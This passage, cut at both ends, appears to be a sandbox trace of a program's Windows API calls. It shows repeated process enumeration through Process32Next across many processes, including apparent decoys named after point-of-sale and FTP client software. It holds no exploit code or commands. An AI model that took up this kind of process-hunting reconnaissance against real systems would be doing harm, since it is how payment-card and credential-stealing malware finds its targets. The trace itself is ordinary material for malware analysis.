dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0130.137] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0130.141] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0130.144] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0130.146] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0130.148] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0130.151] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0130.154] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0130.156] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0130.158] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0130.161] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0130.163] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0130.165] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0130.168] CloseHandle (hObject=0x1fc0) returned 1 [0130.168] Sleep (dwMilliseconds=0x64) [0130.361] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fe8 [0130.378] Process32First (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.381] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0130.383] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0130.386] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0130.388] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0130.391] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0130.394] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0130.395] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0130.397] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0130.399] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.401] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.405] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0130.407] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.410] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.412] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.414] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.417] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.419] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.421] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.424] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0130.458] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0130.461] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0130.463] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.465] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0130.468] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0130.470] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0130.473] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0130.475] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0130.477] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0130.479] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0130.482] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.484] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0130.486] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0130.488] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0130.491] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0130.494] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.495] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0130.497] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0130.498] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0130.500] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0130.502] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0130.504] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0130.506] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0130.508] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0130.509] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0130.511] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0130.513] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0130.515] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0130.516] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0130.518] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0130.519] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0130.522] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0130.524] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0130.526] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0130.529] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0130.531] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0130.534] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0130.537] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0130.540] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0130.543] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0130.546] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0130.550] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0130.553] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0130.556] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0130.559] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0130.562] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0130.648] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0130.651] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0130.654] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0130.657] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0130.660] Process32Next (in: 